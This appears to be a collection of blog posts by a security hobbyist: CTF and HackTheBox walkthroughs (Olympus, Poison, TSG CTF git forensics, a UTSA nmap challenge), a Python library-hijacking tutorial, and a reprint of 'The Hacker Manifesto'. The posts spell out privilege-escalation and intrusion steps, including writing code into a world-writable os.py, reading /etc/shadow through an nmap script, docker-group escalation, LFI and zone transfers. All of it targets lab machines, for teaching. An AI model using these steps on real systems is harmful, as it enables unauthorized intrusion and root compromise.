Okay, we see there is another cronjob running on our target machine. If we check cronjob list for current user, we can see there is no entry for user goku. It could mean that the running script could be root user’s cronjob.

/bin/sh -c /usr/bin/python2 /home/goku/Desktop/LibraryInjection/saiyajin.py

Maybe, we should check this directory. There could be some juicy data. After checking this directory, we can see that there is nothing but Python script. We have no permission for appending anything to the script.

-rw-r--r-- : chmod 644

It means that root user learned his lesson from his mistakes. Surprisingly, it looks pretty secure. We should have a look inside this script.

Okay, it’s pretty funny. That developer might have tried something. But, he may have forgotten to remove this file.

Quick analyze of saiyajin.py:

• He created tiny hello world script. We are not sure what he was trying to achieve.
• He was trying to use echo command with bash. “os.remove()” method was used to take this action.
• “os.remove()” method has commented out.
• It could be test script of another program.
• “os” library has imported.

Cool. We don’t have a module to hijack this time. What do we have? Correct! A library. Actually, libraries are modules too. But, the main difference between them is you can call libraries from anywhere.

Let’s make it more clear. I want you to think about the module example we did. Can we call b module from outside of the project folder? Yeah, probably. But we had to move this project folder to where we wanted to call b module from. Furthermore, if we go to parent directory of test-project directory, we will not be able to call b module. If we want to call it from parent directory, we must add one more __init__.py file.

It will look like this:

/parent-directory
   __init__.py
   /test-project
      __init__.py
      a.py
      b.py

Okay. Now, we can call b module, but not from everywhere. Another option is turning this test-project into Python package. Then, we can call b module from everywhere.

After this process, user can call function from b module with this way:

python -c "import testproject; print testproject.b.examplefunction()"

But, we don’t need all of this. Because, we know that the developer has imported the os library in his code. As I said, we don’t have a module to hijack this time. Even so, we have a library. When you install Python libraries they are installed with 644 file permission. It means that only root user can make changes on these libraries. Other users can only read these files. Sometimes, people may give wrong permissions to Python library folders.

If so, we should check library folders.

Bingo! We have permission to write into os.py file. Pathetic, right? At least, “dumb” developer has gave wrong permission to only one library. We are going to turn it into a weapon.

To show this example, I will write the output to a text file.

echo "system('id >> /tmp/id_out.txt');" >> os.py

So, we appended our malicious code to bottom of the os.py file.

Have you noticed why I used system() method instead of os.system() method ? Because, writing “os.system()” in it will give error. We are in “os” itself. It will not recognize “os.” part. Also, system() method is already defined in here. So, we should use “system()” instead of “os.system()”. In addition, appending import os line to this file may cause to infinite recursion.

Now, it seems okay.

We set our trap and we are waiting for cronjob. If our assumptions are correct, everything will be fine. The malicious code will execute id command and it will append the output to /tmp/id_out.txt file.

After waiting a little, we achieved to execute command as root.

In this part, we benefited from running cronjob for obtaining root privileges. This scenario is more dangeroues than “module hijacking” scenario. Because each time you call the os module the injected code will be executed. Possibility of calling the os module is higher than calling the b module. Even root user may call it.

tl;dr

Avoid giving privileged permissions to Python files.

I had solve only two forensics challenge. Both of them were related with git protocol.

Obliterated File (First Challenge)

Description of the first challenge:

This problem has unintended solution, fixed as “Obliterated File Again”. Original problem statement is below. Working on making a problem of TSG CTF, I noticed that I have staged and committed the flag file by mistake before I knew it. I googled and found the following commands, so I’m not sure but anyway typed them. It should be ok, right?

$ git filter-branch --index-filter "git rm -f --ignore-unmatch problem/flag" --prune-empty -- --all
$ git reflog expire --expire=now --all
$ git gc --aggressive --prune=now

So, it shows that our developer were trying to remove problem/flag file which he pushed it to his project accidentally.

At first, I didn’t realize what developer did. All I did was to check git log output. I compared last commit with other commits in order. Then, I found important detail on one commit luckily. Flag file was there. I created new branch from that commit.

git checkout 8412ed -b flag

I’ve used file flag command to understand what is this file. It was zlib compressed file. I got help from Python.

python -c "import zlib;f=open('flag','rb').read();print(zlib.decompress(f))"

Got first flag!

TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}

Obliterated File Again (Second Challenge)

Description of the second challenge:

I realized that the previous command had a mistake. It should be right this time…?

$ git filter-branch --index-filter "git rm -f --ignore-unmatch *flag" --prune-empty -- --all

If we check what our developer done, we can say that he finally removed flag file from commits.

Did he?

I tried same method for this file too. But it didn’t work. It means, we have no luck with git log. I had to try different method. After making some research, I found another useful git command.

git rev-list --objects --all

This command lists all of the objects on the project in reverse chronological order. Thankfully, it worked like a charm. After running it, I was able to see flag file.

c1e375244c834c08d537d564e2763a7b92d5f9a8 problem/flag

Finally, all I need was fetching this object.

I’ve used git show command for it.

git show c1e3752 > flag

After that, I’ve checked file type and it was zlib too. Executing same Python script led me to take the flag.

Got second flag!

TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}

Cya!

Before I left the job, we(isDebuggerPresent) joined UTSA Cyber CTF and took 19th place. Our rank is not that bad because we participated in that competition on the first 3 days. I am writing a writeup for this challenge because I had a lot of fun solving the question. This question tested my penetration testing skills.

So, let’s start..

In the description of this challenge, login credentials are given.

ssh user@35.231.176.102
password: utsacyber

After connecting to SSH service, CSACTF banner welcomes us. The first thing that comes to my mind is checking which processes are running on the host.

Six processes are running. We could be in container structure. We can analyze it with few commands. I will pick this one. cat /proc/<pid>/cgroup

We can see that we are in Docker container. I forgot to tell that there was a readme.txt in home directory. It says: “get root”. What a great hint for “getting root” access. Our purpose is reading flag. We have to continue with this idea. After that, I checked which binaries are using root privilege. find / -perm -u=s -type f 2>/dev/null

In the output, we can see that “nmap” is working with sudo privilege. It’s interesting, right? Let’s quickly validate it.

After making some searches, I found that we can use nmap in interactive mode. It interacts with bash. So, it means we can get root easily. Let’s check it.

Bad luck. Current version is not supporting “interactive” mode. Then, I realized something. If we can run any script which we wrote then we could be able to get root access. All we have to do is to understand how nmap scripts are working.

Nmap scripts are using “.nse” extension. They are using “Lua” language. We are living in “Computer” era. So, we can access every knowledge with quick search. We need to create three sections for making our script work. These are:

• Head
• Rule
• Action

In the Head section, we can identify some fields like “author”, “description” etc.

Rule section is necessary for identifying some conditions for port status. For example, if port is using “tcp” as protocol then do .

Action section is where we inject our command. If condition that we wrote on “Rule” section is met, then it will run the function that we write in this section.

Also, we are using “io” library for reading some data from file. I picked “/etc/shadow” file to test if we are able to read root privileged file or not. If our assumptions are correct, we should be able to do everything on the host.

Okay, here we go.

nmap --script flag.nse --open 127.0.0.1

Cool. So, it says we have to get root for achieving to the flag. I made one more assumption.

Got flag! I was the 6th solver of this challenge. We got 498 points from this question.

On this machine, these lessons can be learned:

• Understanding usage of dns enumeration tools, dns records.
• Dialectic of Docker containers.
• How do you understand that you are in container.

Target: 10.10.10.83 [Olympus]
System: Linux

Writing a writeup is harder than solving vulnerable machine if you have solved it already. Because, you just know how to hack that machine. You need to think like you have never solved that challenge and you should write like this.

Because of this reason, i will erase all my findings about this machine and i’m going to start with basic steps.

If you read my first blog post, i said you need to enumerate the system well.

Enumeration is the most valuable tool of pentester.

If you don’t know your scope for testing, you need to discover hosts on your network with tools like arp, netdiscover (etc). But we know our target scope. So, we can skip this part.

Let’s start with nmap.

nmap 10.10.10.83 -sC -sV -p-

We are using Script Scan on all ports. You need to scan all ports. For example; if you miss an open port with vulnerable service, you can’t go any further. Thats why we are trying to detect all open ports.

Here open ports: 22(?filtered),53(domain),80(http),2222(ssh)

Before attacking to these ports, just stop and think possible scenarios for initial foothold:

• SSH Bruteforce and gaining user access.
• Finding sensitive files, gaining shell on vulnerable page or webservice on http port.
• Zone transfer or data exfiltration from domain.(DNS records).

When you connect to http port via browser, you will see an image.

If you try to analyze response headers you will see an interesting header there.(Xdebug: 2.5.5)

curl -i -X GET 10.10.10.83

HTTP/1.1 200 OK
Date: Tue, 25 Sep 2018 15:02:55 GMT
Server: Apache
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block
Xdebug: 2.5.5
Content-Length: 314
Content-Type: text/html; charset=UTF-8
...

All you need to do is searching Xdebug 2.5.5 on google. After that you will see Xdebug Command Execution exploit module for metasploit.

Using exploit: use exploit/unix/http/xdebug_unauth_exec

Shell gained.

After trying some enumerations, we can predict that we are in container.

How do i understand it:

• Hostname looks like docker container name.
• There are no parent system processes(init etc.)
• There are no built in programming languages(ruby,python).
• Reading /proc/[process_id]/cgroup file.

cat /proc/1/cgroup

10:blkio:/docker/f00ba96171c58d55c6bf1a2e6796dca8c36e565d7aacfcc3bcd593c9214edcf9
9:freezer:/docker/f00ba96171c58d55c6bf1a2e6796dca8c36e565d7aacfcc3bcd593c9214edcf9
8:cpu,cpuacct:/docker/f00ba96171c58d55c6bf1a2e6796dca8c36e565d7aacfcc3bcd593c9214edcf9
7:cpuset:/docker/f00ba96171c58d55c6bf1a2e6796dca8c36e565d7aacfcc3bcd593c9214edcf9
6:devices:/docker/f00ba96171c58d55c6bf1a2e6796dca8c36e565d7aacfcc3bcd593c9214edcf9
5:net_cls,net_prio:/docker/f00ba96171c58d55c6bf1a2e6796dca8c36e565d7aacfcc3bcd593c9214edcf9
4:pids:/docker/f00ba96171c58d55c6bf1a2e6796dca8c36e565d7aacfcc3bcd593c9214edcf9
3:memory:/docker/f00ba96171c58d55c6bf1a2e6796dca8c36e565d7aacfcc3bcd593c9214edcf9
2:perf_event:/docker/f00ba96171c58d55c6bf1a2e6796dca8c36e565d7aacfcc3bcd593c9214edcf9
1:name=systemd:/docker/f00ba96171c58d55c6bf1a2e6796dca8c36e565d7aacfcc3bcd593c9214edcf9

As you can see, we are exactly in docker container. So, we need to escape from this container. I searched a method for escaping it but i couldn’t even find one. We need enumerate more.

When i tried to check for user.txt on home directory, i couldn’t find user.txt but i found interesting directory.

Someone(creator of this machine) downloaded airgeddon tool on this machine. I googled this tool and found that airgeddon is a tool for wireless packet capturing. Also, i’m trying to find different directories on github repository and current directory.

The difference between them is captured directory.

There are two interesting files. After reading content of txt file, only one left. Let’s analyze that .cap file with Wireshark. Probably, there are credentials in that file. But the real problem is, we need to crack that file.

Anyway, trying to analyze it…

Interesting ESSID. Looks like part of credential.(Password maybe)

SSID: Too_cl0se_to_th3_Sun

I cracked that file on my first solve. I used john + rockyou.txt for cracking it. It took nearly an hour. Decrypted text was : flight_of_icarus or something like this.

If you read /etc/passwd file you will see that one of the username was zeus.

So, icarus could be user too. Also, if you search “Too close to the Sun” on google, you will see the wiki page of Icarus.

Credentials acquired.

user: icarus
password: Too_cl0se_to_th3_Sun

We have the key, also we know where the door at. Port 2222(ssh) Before acquiring these credentials, i tried countless bruteforce to the ssh.

Zeus banned us from Mount Crete, we are trying to return that place and reach to the top of Mount Crete.

ssh icarus@10.10.10.83 -p 2222

Well, we flew up to another container. Home directory contains a file with name “help_of_the_gods.txt”

Output of that file:

Athena goddess will guide you through the dark...

Way to Rhodes...
ctfolympus.htb

We actually learned domain name of this machine. We have to check another domain names.

host -l ctfolympus.htb 10.10.10.83

Gives that output:

Using domain server:
Name: 10.10.10.83
Address: 10.10.10.83#53
Aliases: 

ctfolympus.htb has address 192.168.0.120
ctfolympus.htb name server ns1.ctfolympus.htb.
ctfolympus.htb name server ns2.ctfolympus.htb.
mail.ctfolympus.htb has address 192.168.0.120
ns1.ctfolympus.htb has address 192.168.0.120
ns2.ctfolympus.htb has address 192.168.0.120

Maybe we should try dns zone transfer.

dig axfr ctfolympus.htb @10.10.10.83

What does the output says?

• Here lies the great Colossus of Rhodes
• prometheus, open a temporal portal to Hades (3456 8234 62431) and St34l_th3_F1re!

That’s it! We got second credentials.

user: prometheus
password: St34l_th3_F1re!

We can finally reach to the user.txt. ssh prometheus@10.10.10.83 -p 2222

prometheus@10.10.10.83's password: 
Permission denied, please try again.

Wrong credentials?! What could be wrong? After trying some bruteforces, i finally realized that there were port numbers on zone transfer records.

open a temporal portal to Hades (3456 8234 62431)

So, we have to open that portal to Hades first. Also, i realized that on Nmap report port 22 shown as filtered. If somehow we open that filtered port to open, we can successfully connect it.

After doing some google searches, i discovered that Port Knocking is magic word.

Open Sesame!

I used knock tool for current step. Knock tool tries to knock given port numbers with combinational order. In this way, it bypasses specific iptables rule.

For example; when you trying to connect port 22 with ssh, it won’t return answer. (It will drop packets.) But, if you try to knock these ports when you are connecting to port 22, you can access to it.

knock 10.10.10.83 3456 8234 62431 && ssh prometheus@10.10.10.83

Finally got user.txt ! Now, we are focusing to root.txt.

cat msg_of_gods.txt

Only if you serve well to the gods, you'll be able to enter into the
      _                           
 ___ | | _ _ ._ _ _  ___  _ _  ___
/ . \| || | || ' ' || . \| | |<_-<
\___/|_|`_. ||_|_|_||  _/`___|/__/
        <___'       |_|           

Also, we are not in docker container anymore. Yipe! After getting user.txt, we should focus to Privilege Escalation techniques. I just google’d Docker Privilege Escalation and found a blog post about it.

https://fosterelli.co/privilege-escalation-via-docker.html

I read that post and saw that sentence.

If you happen to have gotten access to a user-account on a machine, and that user is a member of the ‘docker’ group, running the following command will give you a root shell.

Let’s check that groups of user prometheus

id
uid=1000(prometheus) gid=1000(prometheus) groups=1000(prometheus),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(bluetooth),999(docker)

User prometheus is in group of docker.

Time to get root.txt:

docker run -v /:/root -i -t test/gotroot

Unable to find image 'test/gotroot:latest' locally
docker: Error response from daemon: Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io on [::1]:53: dial udp [::1]:53: connect: cannot assign requested address.
See 'docker run --help'.

Frankly we need to set real docker image as parameter. I’m checking images on docker: docker images

Final touches, editing docker command as: docker run -v /:/gotroot -i -t olympia /bin/bash

This command creates a volume named “gotroot” in shell mode and executes bash with given image.

We banished from Mount Crete, we flew, we opened portal to Hades then we finally returned to top of the Mount Crete.

Got r00t!

In this blog post, you will understand how to take privileges step-by-step on Poison machine of HackTheBox Pentesting Labs. I choose this machine because of it’s retired since 1 week.

If you are new in the HackTheBox platform, the first lesson you need to learn is enumeration. Also, you need to know basics of pentesting methodology.

Anyway, you already know that. Let’s start.

Target: 10.10.10.84 [Poison]
System: FreeBSD

Firstly, we need to check which ports are open and which services are using these ports.

nmap -sC -sV -T5 10.10.10.84

When we try to access to port 80 via browser, a php file is encountering us.

If you try to submit any file names on above to input box, you will see that it’s opening selected file. Also, if you try wrong folder name as an input it will raise an error.

As you can see, include() function used here. It’s gonna occur Local File Inclusion vulnerability. You can read “/etc/passwd” for user enumeration.

So, we got usernames. (charix; insteresting one. Let’s keep it in our mind.) You can check another files but i’ll check listfiles.php

I found that pwdbackup.txt pretty attractive.

It says you need to decode it 13 times.(base64) easy,peasy /w python

import base64
encoded = "Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo="
for i in range(13):
	encoded = encoded.decode('base64')
print encoded

Could it be credential? Why not? > Charix!2#4%6&8(0

Username : charix
Password : Charix!2#4%6&8(0

Remember the port 22 !

ssh charix@10.10.10.84

We’re in.

Got user.txt and from now on we are trying to achieve root.txt. So, the enumeration step that i said starting know. You can download LinEnum.sh for enumeration. I’ll start with the basics. These basic questions are:

• which technologies are running on this machine?
• are there any suid bit binaries for unprivileged user can use?
• any editable system/user files?
• which processes are running right now?
• which processes are running as a root user?

I looked for all answers for this questions. So, i will focus to answer of the last question.

ps aux optionally: ps aux | grep 'root'

Xvnc is working as root privileges. We saw that on nmap output. Xvnc is server for sharing screen display of host machine to another user on same host. So, if we figure out any way for accessing this application, we can get root privileges.

When we try to connect to Xvnc server from port 5902, it says “Connection was refused by the Computer”.

If you check full parameters ps aux output for xvnc, you will also see that this application is only accessable from localhost. (-localhost , -rfport 5901) That’s not problem. You know, we can access to ssh. If we can tunnel 5901 port to our local machine, we can access to Xvnc server.

ssh -l charix -L 5903:localhost:5901 10.10.10.84

Connection established. Port forwarded.

We still need password for authenticate to vnc server. Let’s rewind the time for a little. There was a secret.zip in home directory.

scp charix@10.10.10.84:secret.zip /home/saiyajin/Desktop

Password protected file; password: Charix!2#4%6&8(0

vncviewer -passwd /path-to-secret localhost:3

Got r00t!

Another one got caught today, it’s all over the papers. “Teenager Arrested in Computer Crime Scandal”, “Hacker Arrested after Bank Tampering”… Damn kids. They’re all alike.

But did you, in your three-piece psychology and 1950’s technobrain, ever take a look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him? I am a hacker, enter my world… Mine is a world that begins with school… I’m smarter than most of the other kids, this crap they teach us bores me… Damn underachiever. They’re all alike.

I’m in junior high or high school. I’ve listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it. “No, Ms. Smith, I didn’t show my work. I did it in my head…” Damn kid. Probably copied it. They’re all alike.

I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it’s because I screwed it up. Not because it doesn’t like me… Or feels threatened by me… Or thinks I’m a smart ass… Or doesn’t like teaching and shouldn’t be here… Damn kid. All he does is play games. They’re all alike.

And then it happened… a door opened to a world… rushing through the phone line like heroin through an addict’s veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought… a board is found. “This is it… this is where I belong…” I know everyone here… even if I’ve never met them, never talked to them, may never hear from them again… I know you all… Damn kid. Tying up the phone line again. They’re all alike…

You bet your ass we’re all alike… we’ve been spoon-fed baby food at school when we hungered for steak… the bits of meat that you did let slip through were pre-chewed and tasteless. We’ve been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us will- ing pupils, but those few are like drops of water in the desert.

This is our world now… the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt-cheap if it wasn’t run by profiteering gluttons, and you call us criminals. We explore… and you call us criminals. We seek after knowledge… and you call us criminals. We exist without skin color, without nationality, without religious bias… and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it’s for our own good, yet we’re the criminals.

Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for.

I am a hacker, and this is my manifesto. You may stop this individual, but you can’t stop us all… after all, we’re all alike.

+++The Mentor+++